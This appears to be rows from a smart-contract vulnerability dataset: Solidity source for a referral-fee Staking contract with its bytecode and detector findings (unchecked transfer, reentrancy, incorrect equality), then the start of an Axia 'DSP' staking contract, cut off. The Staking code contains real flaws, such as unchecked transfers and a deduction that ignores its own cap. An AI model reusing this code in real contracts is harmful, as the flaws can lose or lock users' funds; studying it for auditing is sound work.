return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
function burn(uint) external;
}
contract Staking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// trusted staking token contract address
address public constant trustedStakeTokenAddress = address(0x039aa25407d0CE00e87aFBA994e279606E16922C);
// trusted reward token contract address
address public constant trustedRewardTokenAddress = trustedStakeTokenAddress;
// reward rate
uint public rewardRatePercentX100 = 200e2;
uint public constant rewardInterval = 40 days;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => address) public referrals;
mapping (address => uint) public totalReferralFeeEarned;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
uint _2Percent = pendingDivs.mul(2e2).div(100e2);
Token(trustedRewardTokenAddress).burn(_2Percent);
uint _3Percent = pendingDivs.mul(3e2).div(100e2);
require(Token(trustedRewardTokenAddress).transfer(owner, _3Percent), "Could not transfer fee!");
require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
uint _amountToDeduct = pendingDivs.div(2);
if (depositedTokens[account] < _amountToDeduct) {
_amountToDeduct = depositedTokens[account];
}
depositedTokens[account] = depositedTokens[account].sub(pendingDivs.div(2));
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff;
timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRatePercentX100)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
uint _200Percent = stakedAmount.mul(2);
if (pendingDivs > _200Percent) {
pendingDivs = _200Percent;
}
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function stake(uint amountToStake, address referrer) public {
require(amountToStake > 0, "Cannot stake 0 Tokens");
require(Token(trustedStakeTokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint _2Percent = amountToStake.mul(2e2).div(100e2);
// uint _3Percent = amountToStake.mul(3e2).div(100e2);
uint amountAfterFee = amountToStake;
Token(trustedStakeTokenAddress).burn(_2Percent);
// require(Token(trustedStakeTokenAddress).transfer(owner, _3Percent), "Cannot transfer admin fee!");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
referrals[msg.sender] = referrer;
}
disburseReferralFee(msg.sender, amountToStake);
}
function disburseReferralFee(address account, uint amount) private {
address l1 = referrals[account];
address l2 = referrals[l1];
address l3 = referrals[l2];
uint _1Percent = amount.mul(1e2).div(100e2);
uint _2Percent = amount.mul(2e2).div(100e2);
uint _3Percent = amount.mul(3e2).div(100e2);
transferReferralFeeIfPossible(l1, _3Percent);
transferReferralFeeIfPossible(l2, _2Percent);
transferReferralFeeIfPossible(l3, _1Percent);
}
function transferReferralFeeIfPossible(address account, uint amount) private {
if (account != address(0) && amount > 0) {
totalReferralFeeEarned[account] = totalReferralFeeEarned[account].add(amount);
require(Token(trustedRewardTokenAddress).transfer(account, amount), "Could not transfer referral fee!");
}
}
function claim() public {
updateAccount(msg.sender);
}
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = stakingTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out staking tokens from this smart contract
// Admin can transfer out reward tokens from this address once adminClaimableTime has reached
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != trustedStakeTokenAddress, "Admin cannot transfer out Stake Tokens from this contract!");
require((_tokenAddr != trustedRewardTokenAddress), "Admin cannot Transfer out Reward Tokens!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806398896d10116100ad578063c326bf4f11610071578063c326bf4f14610615578063c63638921461066d578063d578ceab146106c5578063f2fde38b146106e3578063f3f91fa01461072757610121565b806398896d10146104b35780639ca423b31461050b5780639dcf4b281461058f578063b410fdaa146105d9578063bec4de3f146105f757610121565b8063583d42fd116100f4578063583d42fd146102fd5780636270cd18146103555780636a395ccb146103ad5780637acb77571461041b5780638da5cb5b1461046957610121565b80631911cf4a14610126578063308feec31461028b57806331a5dda1146102a95780634e71d92d146102f3575b600080fd5b61015c6004803603604081101561013c57600080fd5b81019080803590602001909291908035906020019092919050505061077f565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101ab578082015181840152602081019050610190565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156101ed5780820151818401526020810190506101d2565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561022f578082015181840152602081019050610214565b50505050905001858103825286818151815260200191508051906020019060200280838360005b83811015610271578082015181840152602081019050610256565b505050509050019850505050505050505060405180910390f35b610293610a98565b6040518082815260200191505060405180910390f35b6102b1610aa9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102fb610ac1565b005b61033f6004803603602081101561031357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610acc565b6040518082815260200191505060405180910390f35b6103976004803603602081101561036b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae4565b6040518082815260200191505060405180910390f35b610419600480360360608110156103c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610afc565b005b6104676004803603604081101561043157600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d4f565b005b61047161118f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104f5600480360360208110156104c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b4565b6040518082815260200191505060405180910390f35b61054d6004803603602081101561052157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611347565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61059761137a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105e1611392565b6040518082815260200191505060405180910390f35b6105ff611398565b6040518082815260200191505060405180910390f35b6106576004803603602081101561062b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061139f565b6040518082815260200191505060405180910390f35b6106af6004803603602081101561068357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113b7565b6040518082815260200191505060405180910390f35b6106cd6113cf565b6040518082815260200191505060405180910390f35b610725600480360360208110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113d5565b005b6107696004803603602081101561073d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611526565b6040518082815260200191505060405180910390f35b60608060608084861061079157600080fd5b60006107a6878761153e90919063ffffffff16565b905060608167ffffffffffffffff811180156107c157600080fd5b506040519080825280602002602001820160405280156107f05781602001602082028036833780820191505090505b50905060608267ffffffffffffffff8111801561080c57600080fd5b5060405190808252806020026020018201604052801561083b5781602001602082028036833780820191505090505b50905060608367ffffffffffffffff8111801561085757600080fd5b506040519080825280602002602001820160405280156108865781602001602082028036833780820191505090505b50905060608467ffffffffffffffff811180156108a257600080fd5b506040519080825280602002602001820160405280156108d15781602001602082028036833780820191505090505b50905060008b90505b8a811015610a7d5760006108f882600361155590919063ffffffff16565b9050600061090f8e8461153e90919063ffffffff16565b90508187828151811061091e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548682815181106109a457fe5b602002602001018181525050600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548582815181106109fc57fe5b602002602001018181525050600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610a5457fe5b6020026020010181815250505050610a7660018261156f90919063ffffffff16565b90506108da565b50838383839850985098509850505050505092959194509250565b6000610aa4600361158b565b905090565b73039aa25407d0ce00e87afba994e279606e16922c81565b610aca336115a0565b565b60066020528060005260406000206000915090505481565b60086020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b5557600080fd5b73039aa25407d0ce00e87afba994e279606e16922c73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180612207603a913960400191505060405180910390fd5b73039aa25407d0ce00e87afba994e279606e16922c73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c87576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806121df6028913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d0e57600080fd5b505af1158015610d22573d6000803e3d6000fd5b505050506040513d6020811015610d3857600080fd5b810190808051906020019092919050505050505050565b60008211610dc5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616e6e6f74207374616b65203020546f6b656e73000000000000000000000081525060200191505060405180910390fd5b73039aa25407d0ce00e87afba994e279606e16922c73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610e9457600080fd5b505af1158015610ea8573d6000803e3d6000fd5b505050506040513d6020811015610ebe57600080fd5b8101908080519060200190929190505050610f41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b610f4a336115a0565b6000610f74612710610f6660c886611bf090919063ffffffff16565b611c1f90919063ffffffff16565b9050600083905073039aa25407d0ce00e87afba994e279606e16922c73ffffffffffffffffffffffffffffffffffffffff166342966c68836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610fe257600080fd5b505af1158015610ff6573d6000803e3d6000fd5b5050505061104c81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156f90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a3336003611c3890919063ffffffff16565b61117f576110bb336003611c6890919063ffffffff16565b5042600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6111893385611c98565b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111ca826003611c3890919063ffffffff16565b6111d75760009050611342565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156112285760009050611342565b600061127c600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261153e90919063ffffffff16565b90506000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006113146127106113066234bc006112f8876112ea60015489611bf090919063ffffffff16565b611bf090919063ffffffff16565b611c1f90919063ffffffff16565b611c1f90919063ffffffff16565b9050600061132c600284611bf090919063ffffffff16565b90508082111561133a578091505b819450505050505b919050565b60096020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b73039aa25407d0ce00e87afba994e279606e16922c81565b60015481565b6234bc0081565b60056020528060005260406000206000915090505481565b600a6020528060005260406000206000915090505481565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461142e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561146857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60076020528060005260406000206000915090505481565b60008282111561154a57fe5b818303905092915050565b60006115648360000183611e71565b60001c905092915050565b60008082840190508381101561158157fe5b8091505092915050565b600061159982600001611ef4565b9050919050565b60006115ab826111b4565b90506000811115611ba85760006115e06127106115d260c885611bf090919063ffffffff16565b611c1f90919063ffffffff16565b905073039aa25407d0ce00e87afba994e279606e16922c73ffffffffffffffffffffffffffffffffffffffff166342966c68826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561164957600080fd5b505af115801561165d573d6000803e3d6000fd5b50505050600061168c61271061167e61012c86611bf090919063ffffffff16565b611c1f90919063ffffffff16565b905073039aa25407d0ce00e87afba994e279606e16922c73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174a57600080fd5b505af115801561175e573d6000803e3d6000fd5b505050506040513d602081101561177457600080fd5b81019080805190602001909291905050506117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b73039aa25407d0ce00e87afba994e279606e16922c73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561189257600080fd5b505af11580156118a6573d6000803e3d6000fd5b505050506040513d60208110156118bc57600080fd5b810190808051906020019092919050505061193f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6000611955600285611c1f90919063ffffffff16565b905080600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156119e157600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b611a466119f8600286611c1f90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153e90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611adb84600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156f90919063ffffffff16565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b338460025461156f90919063ffffffff16565b6002819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308585604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050505b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008082840290506000841480611c0f575082848281611c0c57fe5b04145b611c1557fe5b8091505092915050565b600080828481611c2b57fe5b0490508091505092915050565b6000611c60836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611f05565b905092915050565b6000611c90836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611f28565b905092915050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611dee612710611de0606488611bf090919063ffffffff16565b611c1f90919063ffffffff16565b90506000611e1a612710611e0c60c889611bf090919063ffffffff16565b611c1f90919063ffffffff16565b90506000611e47612710611e3961012c8a611bf090919063ffffffff16565b611c1f90919063ffffffff16565b9050611e538682611f98565b611e5d8583611f98565b611e678484611f98565b5050505050505050565b600081836000018054905011611ed2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806121bd6022913960400191505060405180910390fd5b826000018281548110611ee157fe5b9060005260206000200154905092915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b6000611f348383611f05565b611f8d578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611f92565b600090505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611fd55750600081115b156121b85761202c81600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156f90919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555073039aa25407d0ce00e87afba994e279606e16922c73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561210a57600080fd5b505af115801561211e573d6000803e3d6000fd5b505050506040513d602081101561213457600080fd5b81019080805190602001909291905050506121b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e7366657220726566657272616c206665652181525060200191505060405180910390fd5b5b505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74205472616e73666572206f75742052657761726420546f6b656e732141646d696e2063616e6e6f74207472616e73666572206f7574205374616b6520546f6b656e732066726f6d207468697320636f6e747261637421a26469706673582212207068daa0b5f90182733c3855123453924f6201e2e71b419273b5300ef4faf54364736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,407 |
0x3f787b52e797ec1ba91e82ff4e1f1321670ddece
|
/*
* @dev This is the Axia Protocol Staking pool 2 contract (Defi Fund Pool),
* a part of the protocol where stakers are rewarded in AXIA tokens
* when they make stakes of liquidity tokens from the oracle pool.
* stakers reward come from the daily emission from the total supply into circulation,
* this happens daily and upon the reach of a new epoch each made of 180 days,
* halvings are experienced on the emitting amount of tokens.
* on the 11th epoch all the tokens would have been completed emitted into circulation,
* from here on, the stakers will still be earning from daily emissions
* which would now be coming from the accumulated basis points over the epochs.
* stakers are not charged any fee for unstaking.
*/
pragma solidity 0.6.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract DSP{
using SafeMath for uint256;
//======================================EVENTS=========================================//
event StakeEvent(address indexed staker, address indexed pool, uint amount);
event UnstakeEvent(address indexed unstaker, address indexed pool, uint amount);
event RewardEvent(address indexed staker, address indexed pool, uint amount);
event RewardStake(address indexed staker, address indexed pool, uint amount);
//======================================STAKING POOLS=========================================//
address public Axiatoken;
address public DefiIndexFunds;
address public administrator;
bool public stakingEnabled;
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 public MINIMUM_STAKE = 1000000000000000000; // 1 minimum
uint256 public MIN_DIVIDENDS_DUR = 86400;
uint public infocheck;
struct User {
uint256 balance;
uint256 frozen;
int256 scaledPayout;
uint256 staketime;
}
struct Info {
uint256 totalSupply;
uint256 totalFrozen;
mapping(address => User) users;
uint256 scaledPayoutPerToken; //pool balance
address admin;
}
Info private info;
constructor() public {
info.admin = msg.sender;
stakingEnabled = false;
}
//======================================ADMINSTRATION=========================================//
modifier onlyCreator() {
require(msg.sender == info.admin, "Ownable: caller is not the administrator");
_;
}
modifier onlyAxiaToken() {
require(msg.sender == Axiatoken, "Authorization: only token contract can call");
_;
}
function tokenconfigs(address _axiatoken, address _defiindex) public onlyCreator returns (bool success) {
Axiatoken = _axiatoken;
DefiIndexFunds = _defiindex;
return true;
}
function _minStakeAmount(uint256 _number) onlyCreator public {
MINIMUM_STAKE = _number*1000000000000000000;
}
function stakaingStatus(bool _status) public onlyCreator {
stakingEnabled = _status;
}
function MIN_DIVIDENDS_DUR_TIME(uint256 _minDuration) public onlyCreator {
MIN_DIVIDENDS_DUR = _minDuration;
}
//======================================USER WRITE=========================================//
function StakeAxiaTokens(uint256 _tokens) external {
_stake(_tokens);
}
function UnstakeAxiaTokens(uint256 _tokens) external {
_unstake(_tokens);
}
//======================================USER READ=========================================//
function totalFrozen() public view returns (uint256) {
return info.totalFrozen;
}
function frozenOf(address _user) public view returns (uint256) {
return info.users[_user].frozen;
}
